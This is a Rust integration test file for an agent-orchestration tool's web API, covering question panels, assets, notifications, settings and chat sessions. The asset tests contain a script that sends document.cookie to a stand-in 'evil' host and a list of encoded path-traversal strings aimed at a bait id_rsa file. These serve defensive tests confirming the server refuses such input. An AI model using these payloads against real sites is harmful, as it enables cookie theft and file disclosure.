8301 assert_eq!(
8302 as_png.header("content-disposition"),
8303 None,
8304 "a raster image has no execution surface, so tapping it still shows it"
8305 );
8306 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
8307 }
8308
8309 #[tokio::test]
8310 async fn an_html_asset_is_never_served_as_html() {
8311 let fx = Fixture::start().await;
8312 let id = panel(
8313 &fx,
8314 "<p>see the notes</p>",
8315 &[
8316 (
8317 "notes.html",
8318 b"<script>fetch('http://evil/'+document.cookie)</script>",
8319 ),
8320 ("hook.js", b"fetch('http://evil/')"),
8321 ("data.json", b"{}"),
8322 ("HEADLINE.TXT", b"plain"),
8323 ],
8324 );
8325
8326 for name in ["notes.html", "hook.js", "data.json"] {
8327 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
8328 assert_eq!(res.status, 200, "{name}: {}", res.body);
8329 assert_eq!(
8334 res.header("content-type"),
8335 Some("application/octet-stream"),
8336 "{name} must not be a type the browser will execute or render"
8337 );
8338 }
8339 let txt = fx
8342 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
8343 .await;
8344 assert_eq!(
8345 txt.header("content-type"),
8346 Some("text/plain; charset=utf-8")
8347 );
8348 }
8349
8350 #[tokio::test]
8351 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
8352 let fx = Fixture::start().await;
8353 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8354 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
8358
8359 for encoded in [
8366 "%2e%2e%2fid_rsa",
8367 "..%2fid_rsa",
8368 "..%5cid_rsa",
8369 "%2e%2e%5cid_rsa",
8370 "diff%00.svg",
8371 "..",
8372 ".hidden",
8373 "%2e%2e%2f%2e%2e%2fid_rsa",
8374 ] {
8375 let res = fx
8376 .get(&format!("/api/questions/{id}/asset/{encoded}"))
8377 .await;
8378 assert_eq!(
8379 res.status, 400,
8380 "`{encoded}` has to be refused by name, not looked up: {}",
8381 res.body
8382 );
8383 assert!(res.json()["error"].is_string(), "{}", res.body);
8384 }
8385
8386 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
8392 let res = fx
8393 .get(&format!("/api/questions/{id}/asset/{literal}"))
8394 .await;
8395 assert_eq!(
8396 res.status, 404,
8397 "`{literal}` must not match the asset route at all: {}",
8398 res.body
8399 );
8400 }
8401 }
8402
8403 #[tokio::test]
8404 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
8405 let fx = Fixture::start().await;
8406 let plain = ask(&fx, "Which backend?", &["SQLite"]);
8407 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8408
8409 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
8413 assert_eq!(none.status, 404, "{}", none.body);
8414 assert!(none.json()["error"].is_string(), "{}", none.body);
8415 assert_eq!(
8416 fx.head(&format!("/api/questions/{plain}/panel"))
8417 .await
8418 .status,
8419 404,
8420 "the preflight is the only way the client can learn this"
8421 );
8422
8423 let missing = fx
8425 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
8426 .await;
8427 assert_eq!(missing.status, 404, "{}", missing.body);
8428 assert!(missing.json()["error"].is_string(), "{}", missing.body);
8429
8430 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
8432 assert_eq!(
8433 fx.get("/api/questions/nope/asset/diff.svg").await.status,
8434 404
8435 );
8436 }
8437
8438 #[tokio::test]
8439 async fn a_run_with_an_open_question_reads_as_waiting() {
8440 let fx = Fixture::start().await;
8441 let run = "20260902-000000-beef".to_owned();
8442 write_run(&fx.runs(), &run, RunStatus::Implementing);
8443
8444 let before = fx.get("/api/runs").await.json();
8445 assert_eq!(before[0]["waiting"], false, "{before}");
8446
8447 let store = fx.questions();
8448 let mut q = Question::new(
8449 run.clone(),
8450 "implement".to_owned(),
8451 "impl-A".to_owned(),
8452 "Which backend?".to_owned(),
8453 String::new(),
8454 vec!["SQLite".to_owned()],
8455 );
8456 store.put(&mut q).expect("put");
8457
8458 let during = fx.get("/api/runs").await.json();
8459 assert_eq!(during[0]["waiting"], true, "{during}");
8460
8461 q.answer(Answer::Choice("SQLite".to_owned()))
8464 .expect("answer");
8465 store.put(&mut q).expect("put");
8466 let after = fx.get("/api/runs").await.json();
8467 assert_eq!(after[0]["waiting"], false, "{after}");
8468 }
8469
8470 #[tokio::test]
8471 async fn an_open_question_is_listed_and_counted_by_health() {
8472 let fx = Fixture::start().await;
8473 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8474
8475 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8476 let listed = fx.get("/api/questions").await.json();
8477 assert_eq!(listed.as_array().expect("array").len(), 1);
8478 assert_eq!(listed[0]["id"], id);
8479 assert_eq!(listed[0]["status"], "open");
8480 assert_eq!(listed[0]["choices"][1], "Redis");
8481 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8484 }
8485
8486 #[tokio::test]
8487 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
8488 let fx = Fixture::start().await;
8489 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8490 let path = format!("/api/questions/{id}/answer");
8491
8492 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
8493 assert_eq!(res.status, 200, "{}", res.body);
8494 let body = res.json();
8495 assert_eq!(body["status"], "answered");
8496 assert_eq!(body["answer"]["choice"], "Redis");
8497
8498 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
8502 assert_eq!(again.status, 409, "{}", again.body);
8503 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8504 }
8505
8506 #[tokio::test]
8507 async fn saying_something_appends_a_turn_without_answering() {
8508 let fx = Fixture::start().await;
8509 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8510 let path = format!("/api/questions/{id}/say");
8511
8512 let res = fx
8513 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
8514 .await;
8515 assert_eq!(res.status, 200, "{}", res.body);
8516 let body = res.json();
8517 assert_eq!(body["status"], "open", "talking back is not a decision");
8518 assert_eq!(body["answer"], Value::Null);
8519 assert_eq!(body["thread"][0]["who"], "operator");
8520 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
8521 assert_eq!(body["waiting_on_agent"], true);
8522 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8524 }
8525
8526 #[tokio::test]
8527 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
8528 let fx = Fixture::start().await;
8529 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8530
8531 let list = fx.get("/api/questions").await.json();
8532 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
8533
8534 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
8535 assert_eq!(res.status, 409, "{}", res.body);
8536 let q = fx.questions().get(&id).unwrap();
8537 assert!(q.status.open());
8538 assert!(q.consult.is_none());
8539 }
8540
8541 #[tokio::test]
8542 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
8543 let fx = Fixture::start().await;
8544 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8545 let cfg = Config {
8546 agents: vec![crate::config::AgentSpec {
8547 id: "mock".to_owned(),
8548 kind: crate::config::AgentKind::Command,
8549 model: None,
8550 command: vec!["true".to_owned()],
8551 extra_args: Vec::new(),
8552 env: Default::default(),
8553 prompt_delivery: None,
8554 }],
8555 ..Config::default()
8556 };
8557 let talk = crate::talk::begin(
8558 &fx.talks(),
8559 &cfg,
8560 fx.home.path().to_path_buf(),
8561 Some("mock"),
8562 )
8563 .unwrap();
8564 let mut task = Task::new(
8565 "t".to_owned(),
8566 "Do it".to_owned(),
8567 PathBuf::from("/repo/magi"),
8568 Source::Agent {
8569 run: talk.id.clone(),
8570 node: crate::queue::CHAT_NODE.to_owned(),
8571 },
8572 );
8573 task.start("20260902-000000-beef".to_owned());
8574 fx.queue().put(&mut task).unwrap();
8575
8576 let list = fx.get("/api/questions").await.json();
8577 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8578 assert_eq!(
8579 list[0]["choices"],
8580 serde_json::json!(["SQLite", "Redis"]),
8581 "the hand-over is never a choice"
8582 );
8583 fx.questions()
8584 .update(&id, |q| {
8585 q.node = crate::land::APPROVAL_NODE.into();
8586 q.choices = vec!["merge".into(), "hold".into()];
8587 Ok(())
8588 })
8589 .unwrap();
8590 let list = fx.get("/api/questions").await.json();
8591 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8592 let _ = id;
8593 }
8594
8595 #[tokio::test]
8596 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
8597 let fx = Fixture::start().await;
8598 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8599 fx.questions()
8600 .update(&id, |q| {
8601 q.node = crate::land::APPROVAL_NODE.into();
8602 q.choices = vec!["merge".into(), "hold".into()];
8603 Ok(())
8604 })
8605 .unwrap();
8606 let cfg = Config {
8607 agents: vec![crate::config::AgentSpec {
8608 id: "mock".to_owned(),
8609 kind: crate::config::AgentKind::Command,
8610 model: None,
8611 command: vec!["true".to_owned()],
8612 extra_args: Vec::new(),
8613 env: Default::default(),
8614 prompt_delivery: None,
8615 }],
8616 ..Config::default()
8617 };
8618 let repo = fx.home.path().join("chat-repo");
8620 std::fs::create_dir_all(&repo).unwrap();
8621 let toml = repo.join("magi.toml");
8622 std::fs::write(&toml, "this is = = not toml").unwrap();
8623 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
8624 let mut task = Task::new(
8625 "t".to_owned(),
8626 "Do it".to_owned(),
8627 PathBuf::from("/repo/magi"),
8628 Source::Agent {
8629 run: talk.id.clone(),
8630 node: crate::queue::CHAT_NODE.to_owned(),
8631 },
8632 );
8633 task.start("20260902-000000-beef".to_owned());
8634 fx.queue().put(&mut task).unwrap();
8635
8636 let path = format!("/api/questions/{id}/consult");
8637 let res = fx.post(&path, None).await;
8638 assert!(res.status >= 400, "{}", res.body);
8639 assert!(fx.questions().get(&id).unwrap().consult.is_none());
8640 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
8641
8642 std::fs::write(&toml, "").unwrap();
8643 let res = fx.post(&path, None).await;
8644 assert_eq!(res.status, 202, "{}", res.body);
8645 assert!(fx.questions().get(&id).unwrap().consult.is_some());
8646 let q = fx.questions().get(&id).unwrap();
8647 assert!(q.status.open());
8648 assert!(q.answer.is_none());
8649 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
8650 }
8651
8652 #[tokio::test]
8653 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
8654 let fx = Fixture::start().await;
8655 let store = fx.questions();
8656 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8657 assert_eq!(
8658 fx.get("/api/health").await.json()["questions_needs_owner"],
8659 1
8660 );
8661
8662 let res = fx
8668 .post(
8669 &format!("/api/questions/{id}/say"),
8670 Some(r#"{"body":"why not Postgres?"}"#),
8671 )
8672 .await;
8673 assert_eq!(res.status, 200, "{}", res.body);
8674 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8675 assert_eq!(
8676 fx.get("/api/health").await.json()["questions_needs_owner"],
8677 0,
8678 "waiting on the agent is not waiting on the owner"
8679 );
8680
8681 let mut q = store.get(&id).expect("get");
8685 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
8686 .expect("reply");
8687 store.put(&mut q).expect("put");
8688 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8689 assert_eq!(
8690 fx.get("/api/health").await.json()["questions_needs_owner"],
8691 1,
8692 "the agent's reply is what should light the banner back up"
8693 );
8694 }
8695
8696 #[tokio::test]
8697 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
8698 let fx = Fixture::start().await;
8699 let store = fx.questions();
8700
8701 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8702 let res = fx
8703 .post(
8704 &format!("/api/questions/{empty_id}/say"),
8705 Some(r#"{"body":" "}"#),
8706 )
8707 .await;
8708 assert_eq!(res.status, 400, "{}", res.body);
8709
8710 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8711 let mut answered = store.get(&answered_id).expect("get");
8712 answered
8713 .answer(Answer::Choice("SQLite".to_owned()))
8714 .expect("answer");
8715 store.put(&mut answered).expect("put");
8716 let res = fx
8717 .post(
8718 &format!("/api/questions/{answered_id}/say"),
8719 Some(r#"{"body":"still there?"}"#),
8720 )
8721 .await;
8722 assert_eq!(res.status, 409, "{}", res.body);
8723
8724 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8725 let mut abandoned = store.get(&abandoned_id).expect("get");
8726 abandoned.abandon("timed out");
8727 store.put(&mut abandoned).expect("put");
8728 let res = fx
8729 .post(
8730 &format!("/api/questions/{abandoned_id}/say"),
8731 Some(r#"{"body":"still there?"}"#),
8732 )
8733 .await;
8734 assert_eq!(res.status, 409, "{}", res.body);
8735 }
8736
8737 #[tokio::test]
8738 async fn an_answer_the_question_does_not_offer_is_refused() {
8739 let fx = Fixture::start().await;
8740 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8741 let path = format!("/api/questions/{id}/answer");
8742
8743 for body in [
8744 r#"{"choice":"Postgres"}"#,
8745 r#"{"text":"whatever you think"}"#,
8746 r#"{"choice":"Redis","text":"both"}"#,
8747 r#"{}"#,
8748 ] {
8749 let res = fx.post(&path, Some(body)).await;
8750 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
8751 assert!(res.json()["error"].is_string(), "{}", res.body);
8752 }
8753 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8755 }
8756
8757 #[tokio::test]
8758 async fn a_free_text_question_takes_text_and_not_a_choice() {
8759 let fx = Fixture::start().await;
8760 let id = ask(&fx, "What should the flag be called?", &[]);
8761 let path = format!("/api/questions/{id}/answer");
8762
8763 assert_eq!(
8764 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8765 400
8766 );
8767 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8768 assert_eq!(res.status, 200, "{}", res.body);
8769 assert_eq!(res.json()["answer"]["text"], "--json");
8770 }
8771
8772 #[tokio::test]
8773 async fn an_unknown_question_is_a_json_404() {
8774 let fx = Fixture::start().await;
8775 let res = fx
8776 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8777 .await;
8778 assert_eq!(res.status, 404, "{}", res.body);
8779 assert!(res.json()["error"].is_string());
8780 }
8781
8782 #[tokio::test]
8783 async fn notifications_list_read_dismiss_and_health_agree() {
8784 let fx = Fixture::start().await;
8785 let store = Notices::at(fx.home.path().join("notifications"));
8786 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8787 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8788
8789 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8790 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8791
8792 let health = fx.get("/api/health").await.json();
8793 assert_eq!(health["notifications_unread"], 2);
8794 assert_ne!(
8795 health["notifications_rev"], rev0,
8796 "the badge must move live"
8797 );
8798
8799 let listed = fx.get("/api/notifications").await.json();
8800 assert_eq!(listed["unread"], 2);
8801 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8802 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8803
8804 let read = fx
8805 .post(&format!("/api/notifications/{}/read", a.id), None)
8806 .await;
8807 assert_eq!(read.status, 200, "{}", read.body);
8808 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
8809
8810 let gone = fx
8811 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
8812 .await;
8813 assert_eq!(gone.status, 200, "{}", gone.body);
8814 let listed = fx.get("/api/notifications").await.json();
8815 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
8816 assert_eq!(listed["unread"], 0);
8817
8818 store.raise(Notice::info("x", "again")).unwrap();
8819 let all = fx.post("/api/notifications/read-all", None).await;
8820 assert_eq!(all.status, 200, "{}", all.body);
8821 assert_eq!(all.json()["marked"], 1);
8822 assert_eq!(
8823 fx.get("/api/health").await.json()["notifications_unread"],
8824 0
8825 );
8826
8827 let missing = fx.post("/api/notifications/nope/read", None).await;
8828 assert_eq!(missing.status, 404, "{}", missing.body);
8829 assert!(missing.json()["error"].is_string());
8830 }
8831
8832 #[tokio::test]
8839 async fn a_task_cannot_be_filed_over_the_phone_directly() {
8840 let f = Fixture::start().await;
8841
8842 let res = f
8843 .post(
8844 "/api/queue",
8845 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
8846 )
8847 .await;
8848
8849 assert_eq!(
8850 res.status, 405,
8851 "POST /api/queue must not be a route: {}",
8852 res.body
8853 );
8854 assert!(
8855 f.queue().list().is_empty(),
8856 "a task filed by a route that does not exist must not reach the disk"
8857 );
8858 assert_eq!(f.get("/api/queue").await.status, 200);
8861 }
8862
8863 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
8865 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
8866 .expect("checkout dir");
8867 }
8868
8869 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
8871
8872 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
8873 let tmp = TempDir::new().expect("tempdir");
8874 let repo = tmp.path().join("repo");
8875 std::fs::create_dir_all(&repo).expect("repo dir");
8876 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
8877 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
8878 if let Some(text) = machine_toml {
8879 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
8880 std::fs::write(&machine, text).expect("machine toml");
8881 }
8882 (tmp, repo, machine)
8883 }
8884
8885 #[tokio::test]
8886 async fn settings_get_reports_sources_and_the_advisors_fallback() {
8887 let (_tmp, repo, machine) =
8888 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
8889 let f = Fixture::with_repo_and_machine(repo, machine).await;
8890 let res = f.get("/api/settings").await;
8891 assert_eq!(res.status, 200, "{}", res.body);
8892 let v = res.json();
8893 assert!(v["error"].is_null(), "{v}");
8894 let role = |k: &str| {
8895 v["roles"]
8896 .as_array()
8897 .and_then(|r| r.iter().find(|x| x["key"] == k))
8898 .cloned()
8899 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8900 };
8901 assert_eq!(role("judges")["source"], "machine");
8902 assert_eq!(role("judges")["editable"], true);
8903 assert_eq!(role("implementers")["source"], "default");
8904 let adv = role("advisors");
8905 assert_eq!(adv["fallback"], "judges");
8906 assert!(
8907 adv["seats"]
8908 .as_array()
8909 .is_some_and(|s| s.iter().all(|x| x == "b")),
8910 "{adv}"
8911 );
8912 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
8913 assert_eq!(v["agents"][0]["source"], "repo");
8914 }
8915
8916 #[tokio::test]
8917 async fn settings_get_reports_a_config_that_does_not_parse() {
8918 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
8919 let f = Fixture::with_repo_and_machine(repo, machine).await;
8920 let res = f.get("/api/settings").await;
8921 assert_eq!(res.status, 200, "{}", res.body);
8922 let v = res.json();
8923 assert!(v["error"]["message"].is_string(), "{v}");
8924 assert!(
8925 v["error"]["path"]
8926 .as_str()
8927 .is_some_and(|p| p.ends_with("magi.toml")),
8928 "{v}"
8929 );
8930 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
8931 }
8932
8933 #[tokio::test]
8934 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
8935 let (_tmp, repo, machine) = settings_dirs(
8936 SETTINGS_AGENTS,
8937 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
8938 );
8939 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
8940 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
8941 let rev = f.get("/api/settings").await.json()["revision"]
8942 .as_str()
8943 .expect("revision")
8944 .to_owned();
8945 let body = serde_json::json!({
8946 "revision": rev,
8947 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
8948 })
8949 .to_string();
8950 let res = f.put("/api/settings/roles", &body).await;
8951 assert_eq!(res.status, 200, "{}", res.body);
8952 let text = std::fs::read_to_string(&machine).expect("machine");
8953 assert_eq!(
8954 text,
8955 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
8956 );
8957 assert_eq!(
8958 std::fs::read(repo.join("magi.toml")).expect("read"),
8959 repo_before
8960 );
8961 let again = f.get("/api/settings").await.json();
8962 let judges = again["roles"]
8963 .as_array()
8964 .expect("roles")
8965 .iter()
8966 .find(|r| r["key"] == "judges")
8967 .expect("judges")
8968 .clone();
8969 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
8970 let stale = f.put("/api/settings/roles", &body).await;
8972 assert_eq!(stale.status, 409, "{}", stale.body);
8973 }
8974
8975 #[tokio::test]
8976 async fn settings_counts_are_reported_and_saved() {
8977 let (_tmp, repo, machine) = settings_dirs(
8978 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
8979 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
8980 );
8981 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8982 let v = f.get("/api/settings").await.json();
8983 let count = |v: &serde_json::Value, k: &str| {
8984 v["roles"]
8985 .as_array()
8986 .and_then(|r| r.iter().find(|x| x["key"] == k))
8987 .map(|x| x["count"].clone())
8988 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8989 };
8990 let imp = count(&v, "implementers");
8991 assert_eq!(imp["value"], 2);
8992 assert_eq!(imp["source"], "machine");
8993 assert_eq!(imp["file_key"], "candidates");
8994 assert_eq!(imp["roster_len"], 2);
8995 assert_eq!(imp["backups"], 0);
8996 assert_eq!(count(&v, "judges")["source"], "default");
8997 assert_eq!(count(&v, "advisors")["min"], 0);
8998 assert_eq!(count(&v, "reviewers")["editable"], false);
8999 assert!(
9000 count(&v, "reviewers")["locked_reason"]
9001 .as_str()
9002 .is_some_and(|m| m.contains("graph.reviewers"))
9003 );
9004 assert!(count(&v, "fixer").is_null());
9005 let rev = v["revision"].as_str().expect("revision").to_owned();
9006 let body = serde_json::json!({
9007 "revision": rev,
9008 "roles": { "judges": ["b"] },
9009 "counts": { "implementers": 1, "advisors": 0 }
9010 })
9011 .to_string();
9012 let res = f.put("/api/settings/roles", &body).await;
9013 assert_eq!(res.status, 200, "{}", res.body);
9014 let text = std::fs::read_to_string(&machine).expect("machine");
9015 assert_eq!(
9016 text,
9017 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
9018 );
9019 let after = f.get("/api/settings").await.json();
9020 assert_eq!(count(&after, "implementers")["value"], 1);
9021 assert_eq!(count(&after, "implementers")["backups"], 1);
9022 assert_eq!(count(&after, "advisors")["value"], 0);
9023 let before = std::fs::read_to_string(&machine).expect("machine");
9024 let rev = after["revision"].as_str().expect("revision").to_owned();
9025 for counts in [
9026 serde_json::json!({ "judges": 0 }),
9027 serde_json::json!({ "judges": "x" }),
9028 serde_json::json!({ "judges": 2.5 }),
9029 serde_json::json!({ "judges": -1 }),
9030 serde_json::json!({ "reviewers": 3 }),
9031 serde_json::json!({ "bogus": 3 }),
9032 ] {
9033 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
9034 let res = f.put("/api/settings/roles", &body).await;
9035 assert_eq!(res.status, 422, "{counts}: {}", res.body);
9036 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
9037 }
9038 }
9039
9040 #[tokio::test]
9041 async fn settings_put_refuses_without_touching_the_file() {
9042 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
9043 let (_tmp, repo, machine) = settings_dirs(
9044 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
9045 Some(machine_text),
9046 );
9047 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
9048 let rev = f.get("/api/settings").await.json()["revision"]
9049 .as_str()
9050 .expect("revision")
9051 .to_owned();
9052 for roles in [
9053 serde_json::json!({ "judges": ["nope"] }),
9054 serde_json::json!({ "reviewers": ["b"] }),
9055 serde_json::json!({ "bogus": ["a"] }),
9056 ] {
9057 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
9058 let res = f.put("/api/settings/roles", &body).await;
9059 assert_eq!(res.status, 422, "{roles}: {}", res.body);
9060 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
9061 assert_eq!(
9062 std::fs::read_to_string(&machine).expect("machine"),
9063 machine_text
9064 );
9065 }
9066 }
9067
9068 #[tokio::test]
9069 async fn repos_list_returns_name_and_path_for_every_configured_root() {
9070 let tmp = TempDir::new().expect("tempdir");
9071 let repo = tmp.path().join("repo");
9072 std::fs::create_dir_all(&repo).expect("repo dir");
9073 let root = tmp.path().join("root");
9074 make_checkout(&root, "github.com", "yukimemi", "magi");
9075 std::fs::write(
9076 repo.join("magi.toml"),
9077 format!(
9078 "[repos]\nroots = [{:?}]\n",
9079 root.to_string_lossy().into_owned()
9080 ),
9081 )
9082 .expect("write magi.toml");
9083
9084 let f = Fixture::with_repo(repo).await;
9085 let res = f.get("/api/repos").await;
9086 assert_eq!(res.status, 200, "{}", res.body);
9087 let list = res.json();
9088 let repos = list.as_array().expect("an array");
9089 assert_eq!(repos.len(), 1);
9090 assert_eq!(repos[0]["name"], "yukimemi/magi");
9091 assert!(
9092 repos[0]["path"]
9093 .as_str()
9094 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
9095 "{list}"
9096 );
9097 }
9098
9099 #[tokio::test]
9100 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
9101 let tmp = TempDir::new().expect("tempdir");
9102 let repo = tmp.path().join("repo");
9103 std::fs::create_dir_all(&repo).expect("repo dir");
9104 let root = tmp.path().join("root");
9105 make_checkout(&root, "github.com", "yukimemi", "magi");
9106 std::fs::write(
9107 repo.join("magi.toml"),
9108 format!(
9109 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
9110 root.to_string_lossy().into_owned()
9111 ),
9112 )
9113 .expect("write magi.toml");
9114
9115 let f = Fixture::with_repo(repo).await;
9116 let first = f.get("/api/repos").await;
9117 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
9118
9119 make_checkout(&root, "github.com", "yukimemi", "rvpm");
9122 let second = f.get("/api/repos").await;
9123 assert_eq!(
9124 second.json().as_array().map(Vec::len),
9125 Some(1),
9126 "a fresh cache must not rescan inside the TTL"
9127 );
9128
9129 let refreshed = f.get("/api/repos?refresh=1").await;
9130 assert_eq!(
9131 refreshed.json().as_array().map(Vec::len),
9132 Some(2),
9133 "an explicit refresh must rescan even inside the TTL"
9134 );
9135 }
9136
9137 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
9143
9144 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
9148 let tmp = TempDir::new().expect("tempdir");
9149 let repo = tmp.path().join("repo");
9150 std::fs::create_dir_all(&repo).expect("repo dir");
9151 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9152 let f = Fixture::with_repo(repo.clone()).await;
9153 (tmp, repo, f)
9154 }
9155
9156 #[tokio::test]
9157 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
9158 let (_tmp, _repo, f) = talk_fixture().await;
9159
9160 let opened = f.post("/api/talks", None).await;
9163 assert_eq!(opened.status, 201, "{}", opened.body);
9164 let body = opened.json();
9165 assert_eq!(body["status"], "open");
9166 assert_eq!(
9167 body["turns"].as_array().unwrap().len(),
9168 0,
9169 "opening takes no agent turn: there is nothing yet to answer"
9170 );
9171
9172 let also_opened = f.post("/api/talks", Some("{}")).await;
9174 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
9175
9176 let listed = f.get("/api/talks").await.json();
9177 assert_eq!(listed.as_array().unwrap().len(), 2);
9178 }
9179
9180 #[tokio::test]
9181 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
9182 let tmp = TempDir::new().expect("tempdir");
9183 let repo = tmp.path().join("repo");
9184 std::fs::create_dir_all(&repo).expect("repo dir");
9185 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
9186 std::fs::write(
9187 repo.join("magi.toml"),
9188 format!("{MOCK_AGENT_TOML}\n{second}"),
9189 )
9190 .expect("write magi.toml");
9191 let home = TempDir::new().expect("temp home");
9192 let talks = Talks::at(home.path().join("talks"));
9193 let ui = Arc::new(
9194 Ui::new(
9195 Queue::at(home.path().join("queue")),
9196 Questions::at(home.path().join("questions")),
9197 talks.clone(),
9198 home.path().join("runs"),
9199 home.path().to_path_buf(),
9200 repo.clone(),
9201 )
9202 .with_worktrees_root(home.path().join("wt")),
9203 );
9204 let cfg = config_for(&repo).await.expect("discover config");
9205 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9206 let id = talk.id.clone();
9207 let call = |agent: &str| {
9208 talk_agent(
9209 State(Arc::clone(&ui)),
9210 Path(id.clone()),
9211 Json(TalkAgent {
9212 agent: agent.to_owned(),
9213 }),
9214 )
